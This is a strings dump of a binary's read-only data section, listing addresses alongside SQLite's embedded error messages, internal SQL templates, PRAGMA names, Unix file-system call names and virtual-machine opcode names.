- .rodata:0x04B2C0 object name reserved for internal use: %s
- .rodata:0x04B2EA Expression tree is too large (maximum depth %d)
- .rodata:0x04B31A no such module: %s
- .rodata:0x04B32D view %s is circularly defined
- .rodata:0x04B34B no such index: %s
- .rodata:0x04B35D too many terms in %s BY clause
- .rodata:0x04B37C %r %s BY term out of range - should be between 1 and %d
- .rodata:0x04B3B4 default value of column [%s] is not constant
- .rodata:0x04B3E1 foreign key on %s should reference only one column of table %T
- .rodata:0x04B420 number of columns in foreign key does not match the number of columns in the referenced table
- .rodata:0x04B47E unknown column \"%s\" in foreign key definition
- .rodata:0x04B4AC %s %T cannot reference objects in database %s
- .rodata:0x04B4DA %s cannot use variables
- .rodata:0x04B4F2 DISTINCT aggregates must have exactly one argument
- .rodata:0x04B525 out of memory
- .rodata:0x04B533 table %s: xBestIndex returned an invalid plan
- .rodata:0x04B561 %s.xBestIndex() malfunction
- .rodata:0x04B57D no query solution
- .rodata:0x04B58F ON
- .rodata:0x04B592 USING
- .rodata:0x04B598 a JOIN clause is required before %s
- .rodata:0x04B5BE unknown or unsupported join type: %T %T%s%T
- .rodata:0x04B5EA RIGHT and FULL OUTER JOINs are not currently supported
- .rodata:0x04B621 table %s may not be modified
- .rodata:0x04B63E cannot modify %s because it is a view
- .rodata:0x04B664 foreign key mismatch - \"%w\" referencing \"%w\"
- .rodata:0x04B691 too many columns in %s
- .rodata:0x04B6A8 table %s may not be altered
- .rodata:0x04B6C4 duplicate WITH table name: %s
- .rodata:0x04B6E2 a GROUP BY clause is required before HAVING
- .rodata:0x04B70E ORDER
- .rodata:0x04B714 GROUP
- .rodata:0x04B71A aggregate functions are not allowed in the GROUP BY clause
- .rodata:0x04B755 too many terms in ORDER BY clause
- .rodata:0x04B777 %r ORDER BY term does not match any column in the result set
- .rodata:0x04B7B4 access to %s.%s.%s is prohibited
- .rodata:0x04B7D5 access to %s.%s is prohibited
- .rodata:0x04B7F3 no such column
- .rodata:0x04B802 ambiguous column name
- .rodata:0x04B818 new
- .rodata:0x04B81C old
- .rodata:0x04B820 misuse of aliased aggregate %s
- .rodata:0x04B83F %s: %s.%s.%s
- .rodata:0x04B84C %s: %s.%s
- .rodata:0x04B856 %s: %s
- .rodata:0x04B85D %s prohibited in partial index WHERE clauses
- .rodata:0x04B88A functions
- .rodata:0x04B894 second argument to likelihood() must be a constant between 0.0 and 1.0
- .rodata:0x04B8DB not authorized to use function: %s
- .rodata:0x04B8FE misuse of aggregate function %.*s()
- .rodata:0x04B922 no such function: %.*s
- .rodata:0x04B939 wrong number of arguments to function %.*s()
- .rodata:0x04B966 %s prohibited in CHECK constraints
- .rodata:0x04B989 subqueries
- .rodata:0x04B994 parameters
- .rodata:0x04B99F SEARCH
- .rodata:0x04B9A6 SCAN
- .rodata:0x04B9AB %s USING AUTOMATIC %sINDEX%.0s%s
- .rodata:0x04B9CC %s USING %sINDEX %s%s
- .rodata:0x04B9E2 COVERING
- .rodata:0x04B9EC %s SUBQUERY %d
- .rodata:0x04B9FB %s TABLE %s
- .rodata:0x04BA07 %s AS %s
- .rodata:0x04BA10 C(
- .rodata:0x04BA15 ANY(
- .rodata:0x04BA20 %s USING INTEGER PRIMARY KEY
- .rodata:0x04BA3D %s (rowid=?)
- .rodata:0x04BA4A %s (rowid>? AND rowid<?)
- .rodata:0x04BA63 %s (rowid>?)
- .rodata:0x04BA70 %s (rowid<?)
- .rodata:0x04BA7D %s VIRTUAL TABLE INDEX %d:%s
- .rodata:0x04BA9A FOREIGN KEY constraint failed
- .rodata:0x04BAB8 misuse at line %d of [%.10s]
- .rodata:0x04BAD5 unable to delete/modify collation sequence due to active statements
- .rodata:0x04BB19 unable to delete/modify user-function due to active statements
- .rodata:0x04BB58 cannot open file at line %d of [%.10s]
- .rodata:0x04BB7F cannot limit WAL size: %s
- .rodata:0x04BB99 database corruption at line %d of [%.10s]
- .rodata:0x04BBC3 malformed database schema (%s)
- .rodata:0x04BBE2 %s - %s
- .rodata:0x04BBEA failed memory resize %u to %u bytes
- .rodata:0x04BC0E failed to allocate %u bytes of memory
- .rodata:0x04BC34 attempt to open \"%s\" as file descriptor %d
- .rodata:0x04BC5F /dev/null
- .rodata:0x04BC69 os_unix.c:%d: (%d) %s(%s) - %s
- .rodata:0x04BC88 mremap
- .rodata:0x04BC8F mmap
- .rodata:0x04BC94 close
- .rodata:0x04BC9A /dev/urandom
- .rodata:0x04BCA7 full_fsync
- .rodata:0x04BCB2 ftruncate
- .rodata:0x04BCBC unlink
- .rodata:0x04BCC3 fsync
- .rodata:0x04BCC9 open
- .rodata:0x04BCCE getcwd
- .rodata:0x04BCD5 /%s
- .rodata:0x04BCD9 cannot fstat db file %s
- .rodata:0x04BCF1 file unlinked while open: %s
- .rodata:0x04BD0E multiple links to file: %s
- .rodata:0x04BD29 file renamed while open: %s
- .rodata:0x04BD45 API call with %s database connection pointer
- .rodata:0x04BD72 invalid
- .rodata:0x04BD7A unopened
- .rodata:0x04BD83 API called with NULL prepared statement
- .rodata:0x04BDAB API called with finalized prepared statement
- .rodata:0x04BDD8 bind on a busy prepared statement: [%s]
- .rodata:0x04BE00 recovered %d frames from WAL file %s
- .rodata:0x04BE25 unknown database: %s
- .rodata:0x04BE3A unable to use function %s in the requested context
- .rodata:0x04BE6D %.*f
- .rodata:0x04BE72 sqlite3_get_table() called with two or more incompatible queries
- .rodata:0x04BEB3 sqlite3_extension_init
- .rodata:0x04BECA so
- .rodata:0x04BECD unable to open shared library [%s]
- .rodata:0x04BEF0 sqlite3_
- .rodata:0x04BEF9 lib
- .rodata:0x04BEFD _init
- .rodata:0x04BF03 no entry point [%s] in shared library [%s]
- .rodata:0x04BF2E error during initialization: %s
- .rodata:0x04BF4E %s-shm
- .rodata:0x04BF55 readonly_shm
- .rodata:0x04BF62 write
- .rodata:0x04BF68 access
- .rodata:0x04BF6F cache
- .rodata:0x04BF75 file:
- .rodata:0x04BF7B localhost
- .rodata:0x04BF85 invalid uri authority: %.*s
- .rodata:0x04BFA1 vfs
- .rodata:0x04BFA5 mode
- .rodata:0x04BFAA no such %s mode: %s
- .rodata:0x04BFBE %s mode not allowed: %s
- .rodata:0x04BFD6 no such vfs: %s
- .rodata:0x04BFE6 recovered %d pages from %s
- .rodata:0x04C001 :memory:
- .rodata:0x04C00A unable to open a temporary database file for storing temporary tables
- .rodata:0x04C050 at most %d tables in a join
- .rodata:0x04C06C automatic index on %s(%s)
- .rodata:0x04C086 auto-index
- .rodata:0x04C091 DISTINCT
- .rodata:0x04C09A GROUP BY
- .rodata:0x04C0A3 CUSING COVERING INDEX
- .rodata:0x04C0BA only a single result allowed for a SELECT that is part of an expression
- .rodata:0x04C102 SCAN TABLE %s%s%s
- .rodata:0x04C114 min
- .rodata:0x04C118 max
- .rodata:0x04C11C ORDER BY
- .rodata:0x04C125 CORRELATED
- .rodata:0x04C131 LIST
- .rodata:0x04C136 SCALAR
- .rodata:0x04C13D EXECUTE %s%s SUBQUERY %d
- .rodata:0x04C156 misuse of aggregate: %s()
- .rodata:0x04C170 unknown function: %.*s()
- .rodata:0x04C189 RAISE() may only be used within a trigger-program
- .rodata:0x04C1BB NOCASE
- .rodata:0x04C1C2 match
- .rodata:0x04C1C8 ORDER BY clause should come after %s not before
- .rodata:0x04C1F8 LIMIT clause should come after %s not before
- .rodata:0x04C225 all VALUES must have the same number of terms
- .rodata:0x04C253 SELECTs to the left and right of %s do not have the same number of result columns
- .rodata:0x04C2A5 unknown database %s
- .rodata:0x04C2B9 source and destination must be distinct
- .rodata:0x04C2E1 Failed to read ptrmap key=%d
- .rodata:0x04C2FE Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
- .rodata:0x04C334 %d of %d pages missing from overflow list starting at %d
- .rodata:0x04C36D failed to get page %d
- .rodata:0x04C383 freelist leaf count too big on page %d
- .rodata:0x04C3AA Page %d:
- .rodata:0x04C3B4 unable to get the page. error code=%d
- .rodata:0x04C3DA btreeInitPage() returns error code %d
- .rodata:0x04C400 On tree page %d cell %d:
- .rodata:0x04C41A Rowid %lld out of order (previous was %lld)
- .rodata:0x04C446 Child page depth differs
- .rodata:0x04C45F On page %d at right child:
- .rodata:0x04C47B Rowid %lld out of order (max larger than parent min of %lld)
- .rodata:0x04C4B8 Rowid %lld out of order (min less than parent min of %lld)
- .rodata:0x04C4F3 Rowid %lld out of order (max larger than parent max of %lld)
- .rodata:0x04C530 Rowid %lld out of order (min less than parent max of %lld)
- .rodata:0x04C56B Corruption detected in cell %d on page %d
- .rodata:0x04C595 Multiple uses for byte %d of page %d
- .rodata:0x04C5BA Fragmentation of %d bytes reported as %d on page %d
- .rodata:0x04C5EE unable to close due to unfinalized statements or unfinished backups
- .rodata:0x04C632 temporary storage cannot be changed from within a transaction
- .rodata:0x04C670 cannot detach database %s
- .rodata:0x04C68A cannot DETACH database within transaction
- .rodata:0x04C6B4 database %s is locked
- .rodata:0x04C6CA no such database: %s
- .rodata:0x04C6DF @
- .rodata:0x04C6E3 %s-mjXXXXXX9XXz
- .rodata:0x04C6F3 MJ delete: %s
- .rodata:0x04C701 MJ collide: %s
- .rodata:0x04C710 -mj%06X9%02X
- .rodata:0x04C71D cannot commit - no transaction is active
- .rodata:0x04C746 cannot start a transaction within a transaction
- .rodata:0x04C776 cannot rollback - no transaction is active
- .rodata:0x04C7A1 into
- .rodata:0x04C7A6 out of
- .rodata:0x04C7AD ATTACH ':memory:' AS vacuum_db;
- .rodata:0x04C7CD ATTACH '' AS vacuum_db;
- .rodata:0x04C7E5 %s constraint failed: %s
- .rodata:0x04C7FE %s constraint failed
- .rodata:0x04C813 abort at %d in [%s]: %s
- .rodata:0x04C82B cannot open savepoint - SQL statements in progress
- .rodata:0x04C85E cannot release savepoint - SQL statements in progress
- .rodata:0x04C894 cannot commit transaction - SQL statements in progress
- .rodata:0x04C8CB database schema has changed
- .rodata:0x04C8E7 SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
- .rodata:0x04C927 Main freelist:
- .rodata:0x04C937 List of tree roots:
- .rodata:0x04C94C Page %d is never used
- .rodata:0x04C962 Pointer map page %d is referenced
- .rodata:0x04C984 Outstanding page count goes from %d to %d during this analysis
- .rodata:0x04C9C3 too many levels of trigger recursion
- .rodata:0x04C9E8 cannot change %s wal mode from within a transaction
- .rodata:0x04CA1C cannot VACUUM from within a transaction
- .rodata:0x04CA44 cannot VACUUM - SQL statements in progress
- .rodata:0x04CA6F PRAGMA vacuum_db.synchronous=OFF
- .rodata:0x04CA90 BEGIN;
- .rodata:0x04CA97 SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
- .rodata:0x04CB2B SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14)FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
- .rodata:0x04CB93 SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
- .rodata:0x04CC09 SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
- .rodata:0x04CCCD SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
- .rodata:0x04CD3E SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
- .rodata:0x04CDD9 INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sqlFROM main.sqlite_master WHERE type='view' OR type='trigger'OR (type='table' AND rootpage=0)
- .rodata:0x04CE91 database table is locked: %s
- .rodata:0x04CEAE --
- .rodata:0x04CEB2 '%.*q'
- .rodata:0x04CEB9 zeroblob(%d)
- .rodata:0x04CEC6 x'
- .rodata:0x04CEC9 %02x
- .rodata:0x04CECE statement aborts at %d: [%s] %s
- .rodata:0x04CEEE interrupted
- .rodata:0x04CEFA no such savepoint: %s
- .rodata:0x04CF10 nil
- .rodata:0x04CF16 (blob)
- .rodata:0x04CF1D k(%d
- .rodata:0x04CF22 ,...
- .rodata:0x04CF27 (%.20s)
- .rodata:0x04CF2F %s(%d)
- .rodata:0x04CF36 vtab:%p:%p
- .rodata:0x04CF41 intarray
- .rodata:0x04CF4A program
- .rodata:0x04CF52 %.2x
- .rodata:0x04CF57 sqlite_stat1
- .rodata:0x04CF64 SELECT tbl,idx,stat FROM %Q.sqlite_stat1
- .rodata:0x04CF8D attached databases must use the same text encoding as main database
- .rodata:0x04CFD1 unsupported file format
- .rodata:0x04CFE9 SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
- .rodata:0x04D020 temporary table name must be unqualified
- .rodata:0x04D049 table %T already exists
- .rodata:0x04D061 there is already an index named %s
- .rodata:0x04D084 sqlite_sequence
- .rodata:0x04D094 no such view
- .rodata:0x04D0A1 no such table
- .rodata:0x04D0B1 multiple references to recursive table: %s
- .rodata:0x04D0DC circular reference: %s
- .rodata:0x04D0F3 table %s has %d values for %d columns
- .rodata:0x04D119 multiple recursive references: %s
- .rodata:0x04D13B recursive reference in a subquery: %s
- .rodata:0x04D161 sqlite_sq_%p
- .rodata:0x04D16E too many references to \"%s\": max 65535
- .rodata:0x04D195 a NATURAL join may not have an ON or USING clause
- .rodata:0x04D1C7 cannot have both ON and USING clauses in the same join
- .rodata:0x04D1FE cannot join using column %s - column not present in both tables
- .rodata:0x04D23E %s.%s.%s
- .rodata:0x04D247 no such table: %s
- .rodata:0x04D259 no tables specified
- .rodata:0x04D26D too many columns in result set
- .rodata:0x04D28C no such column: %s
- .rodata:0x04D29F _rowid_
- .rodata:0x04D2A7 rows updated
- .rodata:0x04D2B4 -- TRIGGER %s
- .rodata:0x04D2C2 oid
- .rodata:0x04D2C6 rows deleted
- .rodata:0x04D2D3 table %S has no column named %s
- .rodata:0x04D2F3 table %S has %d columns but %d values were supplied
- .rodata:0x04D327 %d values for %d columns
- .rodata:0x04D340 rows inserted
- .rodata:0x04D34E normal
- .rodata:0x04D355 exclusive
- .rodata:0x04D35F -%T
- .rodata:0x04D363 result
- .rodata:0x04D36A cache_size
- .rodata:0x04D375 page_size
- .rodata:0x04D37F secure_delete
- .rodata:0x04D38D locking_mode
- .rodata:0x04D39A journal_mode
- .rodata:0x04D3A7 journal_size_limit
- .rodata:0x04D3BA auto_vacuum
- .rodata:0x04D3C6 full
- .rodata:0x04D3CB incremental
- .rodata:0x04D3D7 mmap_size
- .rodata:0x04D3E1 temp_store
- .rodata:0x04D3EC file
- .rodata:0x04D3F1 memory
- .rodata:0x04D3F8 temp_store_directory
- .rodata:0x04D40D not a writable directory
- .rodata:0x04D426 synchronous
- .rodata:0x04D432 Safety level may not be changed inside a transaction
- .rodata:0x04D467 cid
- .rodata:0x04D46B type
- .rodata:0x04D470 notnull
- .rodata:0x04D478 dflt_value
- .rodata:0x04D483 pk
- .rodata:0x04D486 table
- .rodata:0x04D48C index
- .rodata:0x04D492 width
- .rodata:0x04D498 height
- .rodata:0x04D49F seqno
- .rodata:0x04D4A5 seq
- .rodata:0x04D4A9 unique
- .rodata:0x04D4B0 id
- .rodata:0x04D4B3 from
- .rodata:0x04D4B8 to
- .rodata:0x04D4BB on_update
- .rodata:0x04D4C5 on_delete
- .rodata:0x04D4CF NONE
- .rodata:0x04D4D4 parent
- .rodata:0x04D4DB fkid
- .rodata:0x04D4E0 like
- .rodata:0x04D4E5 glob
- .rodata:0x04D4EA integrity_check
- .rodata:0x04D4FA *** in database %s ***\n
- .rodata:0x04D512 row
- .rodata:0x04D517 Cmissing from index
- .rodata:0x04D52C wrong # of entries in index
- .rodata:0x04D549 ok
- .rodata:0x04D54C encoding
- .rodata:0x04D555 unsupported encoding: %s
- .rodata:0x04D56E compile_option
- .rodata:0x04D57D restart
- .rodata:0x04D585 busy
- .rodata:0x04D58A log
- .rodata:0x04D58E checkpointed
- .rodata:0x04D59B wal_autocheckpoint
- .rodata:0x04D5AE timeout
- .rodata:0x04D5B6 soft_heap_limit
- .rodata:0x04D5C6 BEFORE
- .rodata:0x04D5CD AFTER
- .rodata:0x04D5D3 BEGIN
- .rodata:0x04D5D9 COMMIT
- .rodata:0x04D5E0 ROLLBACK
- .rodata:0x04D5E9 unknown table option: %.*s
- .rodata:0x04D604 too many columns on %s
- .rodata:0x04D61B duplicate column name: %s
- .rodata:0x04D635 parameters are not allowed in views
- .rodata:0x04D659 view
- .rodata:0x04D65E too many terms in compound SELECT
- .rodata:0x04D680 set list
- .rodata:0x04D689 near \"%T\": syntax error
- .rodata:0x04D6A1 variable number must be between ?1 and ?%d
- .rodata:0x04D6CC too many SQL variables
- .rodata:0x04D6E3 too many arguments on function %T
- .rodata:0x04D705 no such index: %S
- .rodata:0x04D717 index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
- .rodata:0x04D760 DELETE FROM %Q.%s WHERE name=%Q AND type='index'
- .rodata:0x04D791 idx
- .rodata:0x04D795 INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
- .rodata:0x04D7D5 type='trigger' AND name='%q'
- .rodata:0x04D7F2 temporary trigger may not have qualified name
- .rodata:0x04D820 cannot create triggers on virtual tables
- .rodata:0x04D849 trigger %T already exists
- .rodata:0x04D863 cannot create trigger on system table
- .rodata:0x04D889 cannot create %s trigger on view: %S
- .rodata:0x04D8AE cannot create INSTEAD OF trigger on table: %S
- .rodata:0x04D8DC qualified table names are not allowed on INSERT, UPDATE, and DELETE statements within triggers
- .rodata:0x04D93B the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
- .rodata:0x04D98F the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
- .rodata:0x04D9E4 no such trigger: %S
- .rodata:0x04D9F8 unable to identify the object to be reindexed
- .rodata:0x04DA26 there is already another table or index with this name: %s
- .rodata:0x04DA61 view %s may not be altered
- .rodata:0x04DA7C UPDATE \"%w\".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
- .rodata:0x04DAC1 UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
- .rodata:0x04DC41 UPDATE \"%w\".sqlite_sequence set name = %Q WHERE name = %Q
- .rodata:0x04DC7B UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
- .rodata:0x04DCD7 Cannot add a PRIMARY KEY column
- .rodata:0x04DCF7 Cannot add a UNIQUE column
- .rodata:0x04DD12 Cannot add a REFERENCES column with non-NULL default value
- .rodata:0x04DD4D Cannot add a NOT NULL column with default value NULL
- .rodata:0x04DD82 Cannot add a column with non-constant default
- .rodata:0x04DDB0 UPDATE \"%w\".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
- .rodata:0x04DE1D virtual tables may not be altered
- .rodata:0x04DE3F Cannot add a column to a view
- .rodata:0x04DE5D sqlite_altertab_%s
- .rodata:0x04DE70 interrupt
- .rodata:0x04DE7A unrecognized token: \"%T\"
- .rodata:0x04DE93 sqlite_stat%d
- .rodata:0x04DEA1 DELETE FROM %Q.%s WHERE %s=%Q
- .rodata:0x04DEBF UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
- .rodata:0x04DEF7 sqlite_stat
- .rodata:0x04DF03 table %s may not be dropped
- .rodata:0x04DF1F use DROP TABLE to delete table %s
- .rodata:0x04DF41 use DROP VIEW to delete view %s
- .rodata:0x04DF61 tbl
- .rodata:0x04DF65 DELETE FROM %Q.sqlite_sequence WHERE name=%Q
- .rodata:0x04DF92 DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
- .rodata:0x04DFCA CUNIQUE
- .rodata:0x04DFD2 cannot create a TEMP index on non-TEMP table \"%s\"
- .rodata:0x04E004 altertab_
- .rodata:0x04E00E table %s may not be indexed
- .rodata:0x04E02A views may not be indexed
- .rodata:0x04E043 virtual tables may not be indexed
- .rodata:0x04E065 there is already a table named %s
- .rodata:0x04E087 index %s already exists
- .rodata:0x04E09F sqlite_autoindex_%s_%d
- .rodata:0x04E0B6 table %s has no column named %s
- .rodata:0x04E0D6 conflicting ON CONFLICT clauses specified
- .rodata:0x04E100 CREATE%s INDEX %.*s
- .rodata:0x04E114 INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
- .rodata:0x04E144 name='%q' AND type='index'
- .rodata:0x04E15F table \"%s\" has more than one primary key
- .rodata:0x04E188 AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
- .rodata:0x04E1C0 TABLE
- .rodata:0x04E1C6 VIEW
- .rodata:0x04E1CB \n)
- .rodata:0x04E1CE ,\n
- .rodata:0x04E1D3 \n
- .rodata:0x04E1D7 AUTOINCREMENT not allowed on WITHOUT ROWID tables
- .rodata:0x04E209 PRIMARY KEY missing on table %s
- .rodata:0x04E229 CREATE TABLE
- .rodata:0x04E237 CREATE %s %.*s
- .rodata:0x04E246 UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
- .rodata:0x04E29D CREATE TABLE %Q.sqlite_sequence(name,seq)
- .rodata:0x04E2C7 tbl_name='%q' AND type!='trigger'
- .rodata:0x04E2E9 CREATE TABLE %Q.%s(%s)
- .rodata:0x04E300 CREATE VIRTUAL TABLE %T
- .rodata:0x04E318 UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
- .rodata:0x04E370 name='%q' AND type='table'
- .rodata:0x04E38B database schema is locked: %s
- .rodata:0x04E3A9 statement too long
- .rodata:0x04E3BC invalid rootpage
- .rodata:0x04E3CD too many attached databases - max %d
- .rodata:0x04E3F2 cannot ATTACH database within transaction
- .rodata:0x04E41C database %s is already in use
- .rodata:0x04E43A database is already attached
- .rodata:0x04E457 unable to open database: %s
- .rodata:0x04E473 cannot open value of type %s
- .rodata:0x04E490 no such rowid: %lld
- .rodata:0x04E4A4 foreign key
- .rodata:0x04E4B0 indexed
- .rodata:0x04E4B8 cannot open virtual table: %s
- .rodata:0x04E4D6 cannot open table without rowid: %s
- .rodata:0x04E4FA cannot open view: %s
- .rodata:0x04E50F no such column: \"%s\"
- .rodata:0x04E524 cannot open %s column for writing
- .rodata:0x04E546 SQLITE_TMPDIR
- .rodata:0x04E554 TMPDIR
- .rodata:0x04E55B %s/etilqs_
- .rodata:0x04E566 psow
- .rodata:0x04E56B unix-excl
- .rodata:0x04E575 %s.lock
- .rodata:0x04E57D RTRIM
- .rodata:0x04E583 main
- .rodata:0x04E588 MATCH
- .rodata:0x04E58E automatic extension loading failed: %s
- .rodata:0x04E5B5 unix
- .rodata:0x04E5BA unix-none
- .rodata:0x04E5C4 unix-dotfile
- .rodata:0x04E5D1 stat
- .rodata:0x04E5D6 fstat
- .rodata:0x04E5DC fcntl
- .rodata:0x04E5E2 read
- .rodata:0x04E5E7 pread
- .rodata:0x04E5ED pread64
- .rodata:0x04E5F5 pwrite
- .rodata:0x04E5FC pwrite64
- .rodata:0x04E605 fchmod
- .rodata:0x04E60C fallocate
- .rodata:0x04E616 openDirectory
- .rodata:0x04E624 mkdir
- .rodata:0x04E62A rmdir
- .rodata:0x04E630 fchown
- .rodata:0x04E637 munmap
- .rodata:0x04E63E /var/tmp
- .rodata:0x04E647 /usr/tmp
- .rodata:0x04E650 /tmp
- .rodata:0x04E655 not an error
- .rodata:0x04E662 SQL logic error or missing database
- .rodata:0x04E686 access permission denied
- .rodata:0x04E69F callback requested query abort
- .rodata:0x04E6BE database is locked
- .rodata:0x04E6D1 database table is locked
- .rodata:0x04E6EA attempt to write a readonly database
- .rodata:0x04E70F disk I/O error
- .rodata:0x04E71E database disk image is malformed
- .rodata:0x04E73F unknown operation
- .rodata:0x04E751 database or disk is full
- .rodata:0x04E76A unable to open database file
- .rodata:0x04E787 locking protocol
- .rodata:0x04E798 table contains no data
- .rodata:0x04E7AF constraint failed
- .rodata:0x04E7C1 datatype mismatch
- .rodata:0x04E7D3 library routine called out of sequence
- .rodata:0x04E7FA large file support is disabled
- .rodata:0x04E819 authorization denied
- .rodata:0x04E82E auxiliary database format error
- .rodata:0x04E84E bind or column index out of range
- .rodata:0x04E870 file is encrypted or is not a database
- .rodata:0x04E897 addr
- .rodata:0x04E89C opcode
- .rodata:0x04E8A3 p1
- .rodata:0x04E8A6 p2
- .rodata:0x04E8A9 p3
- .rodata:0x04E8AC p4
- .rodata:0x04E8AF p5
- .rodata:0x04E8B2 comment
- .rodata:0x04E8BA selectid
- .rodata:0x04E8C3 order
- .rodata:0x04E8C9 detail
- .rodata:0x04E8D0 RELEASE
- .rodata:0x04E8D8 CTEXT
- .rodata:0x04E8DE CNUM
- .rodata:0x04E8E3 CINT
- .rodata:0x04E8E8 CREAL
- .rodata:0x04E8EE application_id
- .rodata:0x04E8FD automatic_index
- .rodata:0x04E90D busy_timeout
- .rodata:0x04E91A cache_spill
- .rodata:0x04E926 case_sensitive_like
- .rodata:0x04E93A checkpoint_fullfsync
- .rodata:0x04E94F collation_list
- .rodata:0x04E95E compile_options
- .rodata:0x04E96E count_changes
- .rodata:0x04E97C database_list
- .rodata:0x04E98A default_cache_size
- .rodata:0x04E99D defer_foreign_keys
- .rodata:0x04E9B0 empty_result_callbacks
- .rodata:0x04E9C7 foreign_key_check
- .rodata:0x04E9D9 foreign_key_list
- .rodata:0x04E9EA foreign_keys
- .rodata:0x04E9F7 freelist_count
- .rodata:0x04EA06 full_column_names
- .rodata:0x04EA18 fullfsync
- .rodata:0x04EA22 ignore_check_constraints
- .rodata:0x04EA3B incremental_vacuum
- .rodata:0x04EA4E index_info
- .rodata:0x04EA59 index_list
- .rodata:0x04EA64 legacy_file_format
- .rodata:0x04EA77 max_page_count
- .rodata:0x04EA86 page_count
- .rodata:0x04EA91 query_only
- .rodata:0x04EA9C quick_check
- .rodata:0x04EAA8 read_uncommitted
- .rodata:0x04EAB9 recursive_triggers
- .rodata:0x04EACC reverse_unordered_selects
- .rodata:0x04EAE6 schema_version
- .rodata:0x04EAF5 short_column_names
- .rodata:0x04EB08 shrink_memory
- .rodata:0x04EB16 stats
- .rodata:0x04EB1C table_info
- .rodata:0x04EB27 user_version
- .rodata:0x04EB34 wal_checkpoint
- .rodata:0x04EB43 writable_schema
- .rodata:0x04EB53 delete
- .rodata:0x04EB5A persist
- .rodata:0x04EB62 off
- .rodata:0x04EB66 truncate
- .rodata:0x04EB6F wal
- .rodata:0x04EB73 UTF8
- .rodata:0x04EB78 UTF-8
- .rodata:0x04EB7E UTF-16le
- .rodata:0x04EB87 UTF-16be
- .rodata:0x04EB90 UTF16le
- .rodata:0x04EB98 UTF16be
- .rodata:0x04EBA0 UTF-16
- .rodata:0x04EBA7 UTF16
- .rodata:0x04EBAD sqlite_attach
- .rodata:0x04EBBB shared
- .rodata:0x04EBC2 private
- .rodata:0x04EBCA ro
- .rodata:0x04EBCD rw
- .rodata:0x04EBD0 rwc
- .rodata:0x04EBD4 sqlite_detach
- .rodata:0x04EBE2 tbl,idx,stat
- .rodata:0x04EBEF sqlite_stat3
- .rodata:0x04EBFC sqlite_stat4
- .rodata:0x04EC09 stat_init
- .rodata:0x04EC13 stat_push
- .rodata:0x04EC1D stat_get
- .rodata:0x04EC26 Function
- .rodata:0x04EC2F Savepoint
- .rodata:0x04EC39 AutoCommit
- .rodata:0x04EC44 Transaction
- .rodata:0x04EC50 SorterNext
- .rodata:0x04EC5B PrevIfOpen
- .rodata:0x04EC66 NextIfOpen
- .rodata:0x04EC71 Prev
- .rodata:0x04EC76 Next
- .rodata:0x04EC7B AggStep
- .rodata:0x04EC83 Checkpoint
- .rodata:0x04EC8E JournalMode
- .rodata:0x04EC9A Vacuum
- .rodata:0x04ECA1 VFilter
- .rodata:0x04ECA9 VUpdate
- .rodata:0x04ECB1 Goto
- .rodata:0x04ECB6 Gosub
- .rodata:0x04ECBC Return
- .rodata:0x04ECC3 Not
- .rodata:0x04ECC7 InitCoroutine
- .rodata:0x04ECD5 EndCoroutine
- .rodata:0x04ECE2 Yield
- .rodata:0x04ECE8 HaltIfNull
- .rodata:0x04ECF3 Halt
- .rodata:0x04ECF8 Integer
- .rodata:0x04ED00 Int64
- .rodata:0x04ED06 String
- .rodata:0x04ED0D Null
- .rodata:0x04ED12 SoftNull
- .rodata:0x04ED1B Blob
- .rodata:0x04ED20 Variable
- .rodata:0x04ED29 Move
- .rodata:0x04ED2E Copy
- .rodata:0x04ED33 SCopy
- .rodata:0x04ED39 ResultRow
- .rodata:0x04ED43 CollSeq
- .rodata:0x04ED4B AddImm
- .rodata:0x04ED52 MustBeInt
- .rodata:0x04ED5C RealAffinity
- .rodata:0x04ED69 Permutation
- .rodata:0x04ED75 Compare
- .rodata:0x04ED7D Jump
- .rodata:0x04ED82 Once
- .rodata:0x04ED87 If
- .rodata:0x04ED8A IfNot
- .rodata:0x04ED90 Column
- .rodata:0x04ED97 Affinity
- .rodata:0x04EDA0 MakeRecord
- .rodata:0x04EDAB Count
- .rodata:0x04EDB1 ReadCookie
- .rodata:0x04EDBC SetCookie
